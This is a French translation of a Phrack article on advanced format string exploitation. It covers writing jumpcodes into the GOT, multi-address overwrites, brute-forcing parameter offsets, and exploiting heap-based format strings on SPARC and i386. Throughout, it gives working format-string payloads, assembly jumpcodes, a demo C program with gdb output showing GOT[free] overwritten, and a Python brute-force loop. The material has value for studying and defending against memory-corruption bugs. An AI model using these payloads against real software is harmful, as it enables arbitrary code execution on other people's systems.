Avancées dans les chaines de format

                             ==Phrack Inc.==

                  0x0b, Édition 0x3b, Article #0x07 sur 0x12

|=---------------=[ Avancées dans les chaines de format ]=---------------=|
|=-----------------------------------------------------------------------=|
|=--------=[ par gera <gera@corest.com>, riq <riq@corest.com> ]=---------=|
|=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=|



    1 - Intro

    Partie I

    2 - Brute-forcer les chaines de format

    3 - 32*32 == 32 - en utilisant les jumpcodes 
      3.1 - Écrire du code à n'importe quelle adresse connue
      3.2 - Le code est ailleur
      3.3 - Fonctions amicales
      3.4 - Pas d'adresse chiante

    4 - n fois plus vite
      4.1 - écrasement d'adresses multiples
      4.2 - brute force du nombre de paramètres

    Partie II

    5 - Exploiter les chaines de format dans le tas

    6 - La pile SPARC

    7 - Le truc
      7.1 - Premier exemple
      7.2 - Deuxième exemple
      7.3 - Troisième exemple
      7.4 - Quatrième exemple

    8 - Construire une primitive "écrire 4 octets arbitraires n'importe où"
      8.1 - Cinquième exemple

    9 - La pile i386
      9.1 - Sixième exemple
      9.2 - Septième exemple - le générateur de pointeur

    10 - Conclusions
      10.1 - Est-ce dangereux d'écraser l0 (dans un cadre de pile) ?
      10.2 - Est-ce dangereux d'écraser ebp (dans un cadre) ?
      10.3 - Est-ce fiable ?

    The End

    11 - Remerciements

    12 - Références

--[ 1. Intro

   Y a-t-il encore quelque chose à dire sur les chaines de format après
tout ce temps ? Sûrement, au moins on va essayer... Pour commencer, aller
voir l'excellent papier de scut sur les chaines de format [1] et lisez-le.

   Ce texte traite de deux sujets. Le premier concerne les petits trucs qui
pourraient aider à accélérer le brute force quand on exploite un bug avec
des chaines de format, et le deuxième concerne l'exploitation des bugs de
chaines de format basés sur le tas.

   Attachez-vos ceintures, le voyage ne fait que commencer.


--[ Part I - par gera

--[ 2. Brute-forcer les chaines de format

        "... le brute-force n'est pas un terme heureux, et ne rend pas
justice à beaucoup d'auteurs d'exploits, car la plupart du temps, beaucoup
de réflexion ont lieu pour résoudre le problème d'une meilleure manière
qu'en brute-force..."

    Merci à tous ces artistes qui m'ont inspiré cette phrase, surtout
 ~{MaXX,dvorak,Scrippie}, scut[], lg(zip) et lorian+k.

--[ 3. 32*32 == 32 - en utilisant les jumpcodes 

    Ok, commençons par le commencement...

    Une chaine de format vous permet, en s'en occupant bien, d'écrire ce
que vous voulez où vous voulez... J'aime bien appeler ça un fonction
"écrire-n'importe-quoi-n'importe-où", et le truc décrit ici peut marcher
dès que vous avez une fonction "écrire-n'importe-quoi-n'importe-où", que ça
soit un format string, un débordement sur le "pointeur destination d'un
strcpy()", une suite de free(), un débordement de tableau avec ret2memcpy,
etc.

    Scut[1], shock[2], et d'autres[3][4] expliquent diverses méthodes pour
détourner le flux d'exécution en utilisant une fonction
"écrire-n'importe-quoi-n'importe-où", c'est à dire modifier la GOT, changer
quelques pointeurs de fonction, les gestionnaires atexit(), hum... un
membre virtuel d'une classe, etc. Quand vous le faites, vous devez savoir,
deviner ou prédire deux adresses différentes : l'adresse du pointeur de
fonction et celle du shellcode, chacune faisant 32bits, et si vous
brute-forcez en aveugle, vous allez devoir trouver 64bits... et bien, en
fait, ce n'est pas vrai, supossant que les adresses dans la GOT commencent
toujours pas 0x0804 et que votre code sera en, hum... 0x0805... ok, pour
linux, 4.294.967.296 essais... et bien, non, car vous pourriez pouvoir
fournir un tampon de 4k de nops, et du coup, ça tombe à 1.048.576 essais,
et comme la GOT ne se parcours que par pas de 4 octets, il reste 262.144...
heh, tous ces nombres n'ont... hum... aucun sens.

    Et bien, parfois il y a d'autres trucs que vous pouvez faires, utiliser
une primitive de lecture pour en apprendre plus sur le processus cible, ou
transformer une primitive d'écriture en primitive de lecture, ou utiliser
plus de nops, ou cibler la pile, ou coder en dur certaines adresses et en
être content avec ça...

    Mais, il y a encore une chose que vous pouvez faire, puisqu'on est pas
limité à n'écrire que 4 octets, on peut écrire plus que l'adresse du
shellcode, on peut aussi écrire le shellcode !

----[ 3.1. Écrire du code à n'importe quelle adresse connue

    Même avec un seul bug de chaine de format, vous pouvez non seulement
écrire plus que 4 octets, mais vous pouvez les écrire à des endroits
différents en mémoire, vous pouvez donc choisir n'importe quelle adresse
dont vous savez qu'on peut y écrire et l'exécuter, par exemple, 0x8051234
(pour un exécutable sous linux), y écrire du code, et changer un pointeur
de fonction (la GOT, les fonctions d'atexit(), etc) pour qu'elle pointe
dessus :

               GOT[read]:     0x8051234     ; bien sûr, utiliser read n'est
                                            ; qu'un exemple

               0x8051234:     shellcode

    Quelle est la différence ? Et bien ... l'adresse du shellcode est
connue, c'est toujours 0x8051234, vous n'avez donc à brute-forcer que
l'adresse du pointeur de fonction, ce qui diminue le nombre d'essais à 15
dans le pire des cas.

    Ok, vous avez compris... vous ne pouvez pas écrire un shellcode de 200
octets avec cette technique avec une chaine de format (le pouvez-vous
peut-être ?), vous pouvez peut-être écrire un shellcode de 30 octets, mais
vous pouvez peut-être n'écrire que quelques octets... donc, nous avons
besoin d'un jumpcode vraiment très petit pour que ça marche.

----[ 3.2. Le code est ailleur

    Je suis sûr que vous serez capable de mettre votre shellcode quelque
part dans la mémoire, dans la pile ou dans le tas, ou ailleur (?!). Si
c'est le cas, notre jumpcode va devoir localiser le shellcode et y sauter,
ce qui peut être très facile, ou un peut plus tricky.

    Si le shellcode est quelque part dans la pile (dans la même chaine de
format peut-être !?) et si vous pouvez, plus ou moins, savoir à quelle
distance du sommet de pile il se trouve quand le jmpcode sera exécuté, vous
pouvez faire un saut relatif à SP avec 8 ou 5 octets :


              GOT[read]:      0x8051234

              0x8051234:      add $0x200, %esp   ; différence entre SP et
                              jmp *%esp          ; notre code
                                                 ; n'utiliser que SP si
vous
                                                 ; le pouvez

              esp+0x200:      nops...            ; juste au cas ou la
                                                 ; différence n'est pas
                                                 ; constante
                              vrai shellcode     ; Ce n'est pas écrit avec
la
                                                 ; chaine de format

    Est-ce que le code est dans le tas ? mais vous n'avez pas la moindre
idée d'où il est ? Alors, vous pouvez immiter Kato (cette version fait 18
octets, la version de Kato est un peu plus longue, mais il n'a utilisé que
des lettres, et n'a pas non plus utilisé une chaine de format) :

              GOT[read]:      0x8051234

              0x8051234:      cld
                              mov $0x4f54414a,%eax   ; pour qu'il ne se
trouve
                              inc %eax               ; pas lui-même
                                                     ; (merci juliano)
                              mov $0x804fff0, %edi   ; on commence à
chercher
                                                     ; bas dans la mémoire
                              repne scasl
                              jcxz .-2               ; continue de chercher
                              jmp *$edi              ; les lettres
majuscules
                                                     ; sont les bons
opcodes

              somewhere
                in heap:      'KATO'            ; Si vous connaissez
                                                ; l'alignement un seul est
                              'KKATO'           ; suffisant, sinon, mettez-
                              'KKATO'           ; en plus
                              'KKATO'
                              vrai shellcode

    Est-ce dans la pile mais vous ne savez pas où ? (10 octets)

              GOT[read]:      0x8051234

              0x8051234:      mov $0x4f54414a,%ebx   pour qu'il ne se
trouve
                              inc %ebx               ; pas lui-même
                                                     ; (merci juliano)
                              pop %eax
                              cmp %ebx, %eax
                              jnz .-3
                              jmp *$esp

              somewhere
               in stack:      'KATO'            ; Vous connaitrez
l'alignement
                              vrai shellcode

    Ailleur ? ok, vous trouverez votre jumpcode vous-même :-) Mais soyez
prudent ! 'KATO' pourrait ne pas être une bonne chaine, car elle est
exécutée et a quelques effets de bord. :-)
    Vous pourriez aussi utiliser un jumpcode qui copie la pile dans le tas,
si la pile n'est pas exécutable mais que le tas l'est.

----[ 3.3. Fonctions amicales

    Quand vous modifiez la GOT, vous pouvez choisir le pointeur de fonction
que vous voulez utiliser, certaines fonctions sont meilleures que d'autres
en fonction des cibles. Par exemple, si vous savez qu'après avoir changé le
pointeur de fonction, le tableau contenant le shellcode va être libéré (via
free()), vous pouvez juste faire (2 octets) :

              GOT[free]:      0x8051234      ; cette fois, on utilise free
              0x8051234:      pop %eax       ; on ignore la vraie adresse
                                             ; de retour
                              ret            ; on saute sur les paramètres
                                             ; de free

    C'est la même chose avec read() si le tableau contenant le shellcode
est réutilisé pour lire plus d'autres données sur le net, ou syslog() ou
plein d'autres fonctions... Parfois, vous pourriez avoir besoin d'un
jumpcode un peu plus complexe si vous devez éviter quelques octets au début
du shellcode : (7 ou 10 octets)

              GOT[syslog]:    0x8051234          ; on utilise syslog

              0x8051234:      pop %eax           ; on retire la vraie
                                                 ; adresse de retour
                              pop %eax
                              add $0x50, %eax    ; évite quelques octets
                              jmp *$eax

    Et si rien d'autre ne fonction, mais que vous pouvez faire la
différence entre un crach et un hung [NDT : le programme fonctionne, mais
ne fait rien], vous pouvez utiliser un jumpcode avec une boucle infinie :
vous brute-forcez les adresses dans la GOT jusqu'à ce que le serveur tombe
dans la boucle (le fameux hung), à ce moment, vous connaîtrez l'adresse
dans la GOT qui marche bien, et vous pouvez commencer à brute-forcer
l'adresse du shellcode.

              GOT[exit]:      0x8051234

              0x8051234:      jmp .              ; boucle infinie

----[ 3.4. Pas d'adresse chiante

    Comme je n'aime pas choisir des adresses arbitraires, comme 0x8051234,
on peut tenter quelque chose de légèrement différent :

              GOT[free]:      &GOT[free]+4   ; la faire pointer 4
                                             ; octets plus loins
                              jumpcode       ; l'adresse est &GOT[free]+4

    En fait, vous ne connaissez pas l'adresse de GOT[free], mais à chaque
étape du brute force, vous partez du principe que vous la connessez et
donc, vous pouvez la faire pointer 4 octets plus loins, où vous placez le
jumpcode, i.e. si vous utilisez 0x8049094 comme adresse de GOT[free], votre
jumpcode va se trouver en 0x8049098, et donc, vous devez écrire la valeur
de 0x8049098 à l'adresse 0x8049094 et le jumpcode à l'adresse 0x8049098 :


  /* fs1.c                                                   *
   * programme de démo pour montrer les techniques de        *
   * chaines de format, spécialement conçue pour remplir     *
   * votre cerveau, par gera@corest.com                      */

  int main() {
    char buf[1000];

    strcpy(buf,
      "\x94\x90\x04\x08"          // l'adresse de GOT[free]
      "\x96\x90\x04\x08"          // 
      "\x98\x90\x04\x08"          // l'adresse du jumpcode
                                  // (2 octets pour la démo)
      "%.37004u"                  // complète à 0x9098 (0x9098-3*4)
      "%8$hn"                     // écrit 0x9098 à 0x8049094
      "%.30572u"                  // complète à 0x10804 (0x10804-0x9098)
      "%9$hn"                     // écrit 0x0804 à 0x8049096
      "%.47956u"                  // complète à 0x1c358 (0x1c358-0x10804)
      "%10$hn"                    // écrit 5B C3 (pop - ret) à 0x8049098
          );

    printf(buf);
  }

  gera@vaiolent:~/papers/gera$ make fs1
  cc     fs1.c   -o fs1

  gera@vaiolent:~/papers/gera$ gdb fs1

  (gdb) br main
  Breakpoint 1 at 0x8048439

  (gdb) r
  Breakpoint 1, 0x08048439 in main ()

  (gdb) n
  ...0000000000000...

  (gdb) x/x 0x8049094
  0x8049094:    0x08049098

  (gdb) x/2i 0x8049098
  0x8049098:    pop    %eax
  0x8049099:    ret    

    Donc, si l'adresse de l'entrée de free() dans la GOt est 0x8049094, la
prochaine fois qu'on appelle free(), notre petit jumpcode va être appelé à
sa place.

    Cette dernière méthode à un autre avantage, elle ne peut pas être
uniquement utilisée avec les chaines de format, où vous pouvez faire des
écritures à différentes adresses, mais aussi avec n'importe quelle
primitive "écrire-n'importe-quoi-n'importe-où", comme un écrasement de
"pointeur destination de strtcpy()", ou un ret2memcpy buffer overflow. Où
si vous êtes aussi chanceux [ou intelligent] que lorian, vous pouvez le
faire avec une seule mauvaise utilisation de free() comme il me l'a appris.

--[ 4. n fois plus vite

----[ 4.1. écrasement d'adresses multiples

    Si vous pouvez écrire plus de 4 octets, vous pouvez non-seulement
mettre le shellcode ou le jumpcode ou vous voulez qu'il soit, vous pouvez
aussi changer plusieurs pointeurs d'un seul coup, accélérant encore les
choses.

    Bien sûr, tout ça peut être fait, encore une fois, avec n'importe
quelle primitive "écrire-n'importe-quoi-n'importe-où" qui nous permet
d'écrire plus de 4 octets, et, comme on va écrire la même valeur sur tous
les pointeurs, il y a une manière pratique de le faire avec les chaines de
format.

    Admettons qu'on utilise la chaine de format suivante pour écrire
0x12345678 à l'adresse 0x08049094:

    "\x94\x90\x04\x08"          // l'adresse pour les deux premiers octets
    "AAAA"                      // La place pour le 2ème %.u
    "\x96\x90\x04\x08"          // L'adresse des deux derniers octets
    "%08x%08x%08x%08x%08x%08x"  // pop 6 paramètres
    "%.22076u"                  // complete à 0x5678 (0x5678-4-4-4-6*8)
    "%hn"                       // écrit 0x5678 à 0x8049094
    "%.48060u"                  // complete à 0x11234 (0x11234-0x5678)
    "%hn"                       // écrit 0x1234 à 0x8049096

    Puisque %hn n'ajoute aucun caractère à la chaine en sortie, on peut
écrire la même valeur à divers endroit sans devoir ajouter plus de padding.
Par exemple, pour changer la chaine de format précédente pour qu'elle
écrive la valeur 0x12345678 à 5 mots mémoire consécutifs en commencant par
0x8049094, on peut utiliser :

    "\x94\x90\x04\x08"          // adresses où écrire :
    "\x98\x90\x04\x08"          // 
    "\x9c\x90\x04\x08"          //
    "\xa0\x90\x04\x08"          //
    "\xa4\x90\x04\x08"          //
    "AAAA"                      // place pour le deuxième 2nd %.u
    "\x96\x90\x04\x08"          // adresses pour 0x1234
    "\x9a\x90\x04\x08"          //
    "\x9e\x90\x04\x08"          //
    "\xa2\x90\x04\x08"          //
    "\xa6\x90\x04\x08"          //
    "%08x%08x%08x%08x%08x%08x"  // pop 6 paramètres
    "%.22044u"                  // complete à 0x5678: 0x5678-(5+1+5)*4-6*8
    "%hn"                       // écrit 0x5678 à 0x8049094
    "%hn"                       // écrit 0x5678 à 0x8049098
    "%hn"                       // écrit 0x5678 à 0x804909c
    "%hn"                       // écrit 0x5678 à 0x80490a0
    "%hn"                       // écrit 0x5678 à 0x80490a4
    "%.48060u"                  // complete à 0x11234 (0x11234-0x5678)
    "%hn"                       // écrit 0x1234 à 0x8049096
    "%hn"                       // écrit 0x1234 à 0x804909a
    "%hn"                       // écrit 0x1234 à 0x804909e
    "%hn"                       // écrit 0x1234 à 0x80490a2
    "%hn"                       // écrit 0x1234 à 0x80490a6

    Ou différement en utilisant un accès directe aux paramètres.

    "\x94\x90\x04\x08"          // adresses où écrire 0x5678
    "\x98\x90\x04\x08"          // 
    "\x9c\x90\x04\x08"          //
    "\xa0\x90\x04\x08"          //
    "\xa4\x90\x04\x08"          //
    "\x96\x90\x04\x08"          // adresses pour 0x1234
    "\x9a\x90\x04\x08"          //
    "\x9e\x90\x04\x08"          //
    "\xa2\x90\x04\x08"          //
    "\xa6\x90\x04\x08"          //
    "%.22096u"                  // complete à 0x5678 (0x5678-5*4-5*4)
    "%8$hn"                     // écrit 0x5678 à 0x8049094
    "%9$hn"                     // écrit 0x5678 à 0x8049098
    "%10$hn"                    // écrit 0x5678 à 0x804909c
    "%11$hn"                    // écrit 0x5678 à 0x80490a0
    "%12$hn"                    // écrit 0x5678 à 0x80490a4
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%13$hn"                    // écrit 0x1234 à 0x8049096
    "%14$hn"                    // écrit 0x1234 à 0x804909a
    "%15$hn"                    // écrit 0x1234 à 0x804909e
    "%16$hn"                    // écrit 0x1234 à 0x80490a2
    "%17$hn"                    // écrit 0x1234 à 0x80490a6

    Dans cet exemple, le nombre de "pointeurs de fonction" à écrire
simultanément a été choisi arbitrairement, mais on aurait pu en choisir un
autre. La limite dépend de la longueur de la chaine que vous pouvez
fournir, du nombre de paramètres que vous devez dépiler si vous n'utilisez
pas un accès direct vers les paramètres, s'il y a des restrictions pour
l'accès direct (sur les librairies Solaris, c'est 30, sur certains Linux,
c'est 400, et il peut y avoir d'autres variantes), etc

    Si vous voulez combiner le jumpcode avec l'écrasement de plusieurs
adresses, vous devez garder à l'esprit que le jumpcode ne se trouve pas 4
octets juste après le pointeur de fonction, mais un peu plus, en fonction
du nombre d'adresses que vous écrasez simultanément.

----[ 4.2. brute force du nombre de paramètres

    Parfois, vous ne savez pas combien de paramètres vous devez dépiler, ou
pour les accéder directement, et vous devez les testez jusqu'à tomber sur
le bon nombre. Parfois, il est possible de le faire de manière plus
intelligente, surtout quand ce n'est pas un format string en aveugle
(l'ai-je déjà dit ? allez lire le papier de Scut[1] !). Quoi qu'il en soit,
il y aura des cas ou vous ne saurez pas combien de paramètres dépiler, et
devrez comment le deviner, comme dans l'exemple python-like suivant:

    pops = 8
    worked = 0
    while (not worked):
      fstring  = "\x94\x90\x04\x08"        # L'adresse de GOT[free]
      fstring += "\x96\x90\x04\x08"        # 
      fstring += "\x98\x90\x04\x08"        # adresse d ujumpcode
      fstring += "%.37004u"                # complète à 0x9098
      fstring += "%%%d$hn" % pops          # écrit 0x9098 à 0x8049094
      fstring += "%.30572u"                # complète à 0x10804
      fstring += "%%%d$hn" % (pops+1)      # écrit 0x0804 à 0x8049096
      fstring += "%.47956u"                # complète à 0x1c358
      fstring += "%%%d$hn" % (pops+2)      # écrit (pop - ret) à 0x8049098
      worked = try_with(fstring)
      pops += 1

    Dans cet exemple, la variable 'pops' est incrémentée pour essayer de
trouver le bon nombre à utiliser dans un accès direct aux paramètres. Si
nous répétons l'adresse cible, on peut construire une chaine de format qui
nous permet d'incrémenter 'pops' plus vite. Par exemple, en répétant chaque
adresse 5 fois, nous avons un brute force plus rapide :

    pops = 8
    worked = 0
    while (not worked):
      fstring  = "\x94\x90\x04\x08" * 5    # adresse de GOT[free]
      fstring += "\x96\x90\x04\x08" * 5    # on la répète 5 fois
      fstring += "\x98\x90\x04\x08" * 5    # adresse du jumpcode
      fstring += "%.37004u"                # complète à 0x9098
      fstring += "%%%d$hn" % pops          # écrit 0x9098 à 0x8049094
      fstring += "%.30572u"                # complète à 0x10804
      fstring += "%%%d$hn" % (pops+1)      # écrit 0x0804 à 0x8049096
      fstring += "%.47956u"                # complète à 0x1c358
      fstring += "%%%d$hn" % (pops+2)      # écrit (pop - ret) à 0x8049098
      worked = try_with(fstring)
      pops += 5

    Tomber sur n'importe laquelle des 5 copies marche, plus vous pouvez
mettre de copies, mieux c'est.

    C'est une idée simple, répéter les adresses. Si vous êtes perdus,
prenez un crayon et dessinez quelques schémas, d'abord, dessinez une pile
contenant la chaine de format, et un nombre aléatoire de paramètres à son
sommet, et commencez le brute force à la main. Ça va être amusant ! Je vous
le garanti ! :-)

    Ça peut paraître stupide, mais ça pourrait vous aider un jours, on sait
jamais... et bien sûr on pourrait faire la même chose sans accès direct aux
paramètres,mais c'est un peut plus compliqué puisqu'on doit recalculer la
longueur pour le format %.u à chaque essai.

--[ postlude

    Dans ce texte, mon message était : une chaine de format est bien plus
qu'une simple primitive "écrire 4 octets arbitraires n'importe où", c'est
presque une primitive "écrire n'importe quoi n'importe où", qui vous permet
de plus grandes possibilités.

    Pour l'instant tout va bien, la suite ne dépend que de vous...

--[ Partie II - par riq
--[ 5. Exploiter les chaines de format dans le tas

  Souvent, les chaines de format se trouvent dans la pile. Mais il y a des
cas où elles sont stockées dans le tas, et vous NE POUVEZ PAS les voir.

  Je présente ici une manière de gérer ces chaines de format de manière
générique pour machines SPARC (et en big-endian), et au final, nous vous
montreront comment faire pareil pour les machines en little-endian.

--[ 6. La pile SPARC

  Dans la pile, vous trouverez des cadres de pile [NDT : stack frames]. Ces
cadres contiennent les variables locales, les registres, les pointeurs vers
le cadre précédent, l'adresse de retour, ...

  Puisqu'avec les chaines de format, on peut voir la pile, nous allons
l'étudier plus prudement.

  Les cadres de la pile en SPARC ressemblent plus ou moins à ça :


          cadre 0              cadre 1               cadre 2
         [  l0   ]     +----> [  l0   ]      +----> [  l0   ]
         [  l1   ]     |      [  l1   ]      |      [  l1   ]
            ...        |         ...         |         ...
         [  l7   ]     |      [  l7   ]      |      [  l7   ]
         [  i0   ]     |      [  i0   ]      |      [  i0   ]
         [  i1   ]     |      [  i1   ]      |      [  i1   ]
            ...        |         ...         |         ...
         [  i5   ]     |      [  i5   ]      |      [  i5   ]
         [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
         [  i7   ]            [  i7   ]             [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]

  Et ainsi de suite...

  Le registre fp est un pointeur vers le cadre appelant. Comme vous
pourriez vous dire, "fp" signifie "frame pointer" [NDT : pointeur vers le
cadre].

  Les temp_N sont les variables locales qui sont sauvegardées dans la pile.
Le cadre 1 commence là ou les variables locales du cadre 0 finissent, et le
cadre 2 commence là ou les variables locales du cadre 1 finissent, et ainsi
de suite.

  Tous ces cadres sont stockés dans la pile. Nous pouvons donc voir tous
ces cadres avec nos chaines de format.

--[ 7. Le truc

  Le truc consiste en ce que chaque cadre contient un pointeur vers le
cadre précédent. Ensuite, plus nous aurons de pointeurs vers la pile, mieux
ça sera.

  Pourquoi ? Parce que si nous avons un pointeur vers notre prpre pile,
nous pouvons écraser à l'adressee qu'il pointe avec n'importe quelle
valeur.

--[ 7.1. Premier exemple

  Supposons que nous voulons mettre la valeur 0x1234 dans l0 du cadre 1.
Nous alons alors essayer de construire une chaine, dont la longueur est
0x1234, au moment ou nous avons atteint le fp du cadre 0, et finissant par
%n.
  
  Supposons que le premier parametre que nous voyons est le registre l0 du
cadre 0, nous devrions avoir une chaine de format ressemblant à ceci :
  
  '%8x' * 8 +     # dépile les 8 registres 'l'
  '%8x' * 5 +     # dépile les 5 premiers registres 'i'
  '%4640d'  +     # change la longueur de la chaine (4640 = 0x1220) et...
  '%n'            # on écrit où fp pointe (le l0 du cadre 1)

  Donc, après l'exécution de la chaine de format, notre pile devrait
ressembler à ça :

          cadre 0              cadre 1 
         [  l0   ]     +----> [ 0x00001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...   
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...   
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]


--[ 7.2. Deuxième exemple

  Si nous choisissons un plus grand nombre, comme 0x20001234, nous avons
besoin de deux pointeurs vers la même adresse. Quelque chose dans ce genre
:

          cadre 0              cadre 1 
         [  l0   ]     +----> [  l0   ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...   
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...   
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]

  [ Note : On ne trouve pas toujours 2 pointeurs vers la même adresse, mais
ce n'est pas rare non plus. ]

  Notre chaine de format ressemblera alors à ceci :

  '%8x' * 8 +     # dépile les 8 registres 'l'
  '%8x' * 5 +     # dépile les 5 premiers registres 'i'
  '%4640d'  +     # change la longueur de la chaine (4640 = 0x1220) et...
  '%n'      +     # on écrit où fp pointe (le l0 du cadre 1)
  '%3530d'  +     # On remodifie la longueur de la chaine
  '%hn'           # et on écrit, mais que la première partie (%hn)

  Et nous devrions obtenir ceci :
  
          cadre 0              cadre 1 
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...   
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...   
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]

--[ 7.3. Troisième exemple

  Si nous n'avons qu'un seul pointeur, nous pouvons arriver au même
résultat en utilisant "l'accès direct aux paramètres" dans la chaine de
format, avec les %index$, où "index" est un nombre entre 0 et 30 (sous
Solaris).

  Notre chaine de format devrait ressembler à ça :
    '%4640d' +  # change la longueur
    '%15$n'  +  # on écrit où le 15ème paramètre pointe (le 15ème est fp)
    '%3530d' +  # rechange la longueur
    '%15$hn'    # réécrit, mais uniquement la partie %hn

  Du coup, on arrivera à quelque chose comme ça :

          cadre 0              cadre 1 
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...   
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...   
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]

--[ 7.4. Quatrième exemple

  Mais il peut arriver qu'on ait pas deux pointeurs vers la même adresse,
et que le premier pointeur utilisable soit en dehors des 30 premiers
paramètres. Que pourrions-nous donc faire ?

  Souvenez-vous qu'avec '%n', on peut écrire de très grand nombres, comme
0x00028000 et même plus. Vous devriez garder à l'esprit que la PLT des
binaires est souvent stockée dans les adresses basses, comme 0x0002????.
Donc, avec un seul pointeur qui pointe vers la pile, vous pouvez créer un
pointeur vers la PLT du binaire.

  Je ne pense pas qu'un dessin soit nécessaire ici.


--[ 8. Construire une primitive "écrire 4 octets arbitraires n'importe où"

--[ 8.1. Cinquième exemple

  Pour avoir une primitive "écrire 4 octets arbitraires n'importe où", nous
devrions répéter ce qu'on a fait avec le cadre 0, et le refaire avec le
cadre 1, et ainsi de suite. Notre résultat devrait ressembler à ça :

      cadre 0              cadre 1               cadre 2
     [  l0   ]     +----> [0x00029e8c]   +----> [0x00029e8e]
     [  l1   ]     |      [  l1   ]      |      [  l1   ]
        ...        |         ...         |         ...   
     [  l7   ]     |      [  l7   ]      |      [  l7   ]
     [  i0   ]     |      [  i0   ]      |      [  i0   ]
     [  i1   ]     |      [  i1   ]      |      [  i1   ]
        ...        |         ...         |         ...   
     [  i5   ]     |      [  i5   ]      |      [  i5   ]
     [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
     [  i7   ]            [  i7   ]      |      [  i7   ]
     [ temp 1]            [ temp 1]      |
                          [ temp 2]  ----+
                          [ temp 3]

[Note : En admettant que le code qu'on veuille changer soit en 0x00029e8c]

  Donc, maintenant qu'on a deux pointeurs, l'un vers 0x00029e8c et l'autre
vers 0x00029e8e, nous avons finalement atteint notre but ! Nous pouvons
maintenant exploiter la situations, comme n'importe quelle vulnérabilité de
chaine de format :)

  La chaine de format ressemblera à ça :

    '%4640d' +  # change la longueur
    '%15$n'  +  # avec accès direct aux paramètres, on écrit la
                # partie basse du l0 du cadre 1
                # of frame 1's l0
    '%3530d' +  # rechange la longueur
    '%15$hn' +  # écrase la partie haute
    '%9876d' +  # change la longueur
    '%18$hn' +  # et écrit comme n'importe quelle exploit !


    '%8x' * 13+ # dépile 13 paramètres (à partir du 15ème)
    '%6789d' +  # change la longueur
    '%n'     +  # écrit la partie basse
    '%8x'    +  # dépile
    '%1122d' +  # modifie la longueur
    '%hn'    +  # écrit la partie haute
    '%2211d' +  # change la longueur
    '%hn'       # et réécrit, comme n'importe quel exploit.


  Comme vous pouvez le voir, ça a été fait avec une seule chaine de format.
Mais ce n'est pas toujours possible. Si nous ne pouvons pas construire deux
pointeurs, nous allons avoir besoin d'abuser deux fois la chaine de format.

  D'abord, nous construisons un pointeur vers 0x00029e8c, ensuite, nous
écrasons la valeur qu'il pointe avec '%hn'.

  La deuxième fois qu'on l'abuse, nous faisons la même chose, mais avec un
pointeur vers 0x00029e8e. Il n'y a pas vraiment besoin de deux pointeurs
(0x00029e8c et 0x00029e8e), puisqu'écrire d'abord la partie basse avec %n,
puis la partie haute avec %hn marchera, mais vous devrez utiliser le même
pointeur deux fois, qui n'est possible qu'avec l'accès direct aux
paramètres.

--[ 9. La pile i386

  Nous pouvons aussi exploiter une chaine de format dans le tas sous
architecture i386 en utilisant une manière similaire. Voyons d'abord
comment fonctionne la pile i386.

        cadre 0        cadre 1        cadre 2        cadre 3
       [  ebp  ] ---> [  ebp  ] ---> [  ebp  ] ---> [  ebp  ]
       [       ]      [       ]      [       ]      [       ]
       [       ]      [       ]      [       ]      [       ]
       [ ...   ]      [ ...   ]      [ ...   ]      [ ...   ]

  Comme vous pouvez le voir, la pile i386 est similaire à son homologue
sous SPARC, la différence principale est que les adresses sont stockée en
little endian.

  [ NDT : Dans la suite de l'article, ces deux acronymes seront utilisés :
          LSB : Least Significant Byte, octet de poids faible,
          MSB : Most Significant Byte, octet de poids fort ]

         cadre 0            cadre 1
        [ LSB | MSB ] ---> [ LSB | MSB ]
        [           ]      [           ]

  Donc, le truc que nous utilisions sous SPARC pour écraser le LSB de
l'adresse avec %n, puis son MSB avec %hn en utilisant qu'un seul pointeur
ne marchera plus sous architecture i386.

  Nous avons besoin d'un pointeur supplémentaire, qui pointe vers l'adresse
du MSB, pour pouvoir le changer. Quelque chose de ce genre :

                    +----------------------------+
                    |                            |
                    |                            V
       [LSB | MSB]  |   [LSB | MSB] ---> [LSB | MSB]
       [         ]  |   [         ]      [         ]
       [         ] -+   [         ]      [         ]
       [  ...    ]      [   ...   ]      [   ...   ]
         Cadre B          Cadre C          Cadre D

  Heh ! Comme vous l'avez deviné, ce n'est pas très commun dans les piles
normales, donc, ce qu'on va faire, c'est construire le pointeur qu'on a
besoin, et ensuite, bien sûr, l'utiliser.

  Attention ! Nous avons trouvé que cette technique ne marche pas sur les
derniers Linux, nous ne sommes même pas sûr qu'elle marche sur l'un d'eux
(ça dépend de la version de la libc/glibc), mais nous savons qu'elle
fonctionne, au moins, sous OpenBSD, FreeBSD et Solaris x86.

--[ 9.1. Sixième exemple

  Ce truc nécessitera un cadre supplémentaire... plus tard, on va essayer
de ne dépendre que du moins possible de cadres.

                                 +----------------------------+
                                 |                            |
                                 |                            V
   [LSB | MSB] ---> [LSB | MSB] -+   [LSB | MSB] ---> [LSB | MSB]
   [         ]      [         ]      [         ]      [         ]
   [         ]      [         ]      [         ]      [         ]
   [  ...    ]      [  ...    ]      [   ...   ]      [   ...   ]
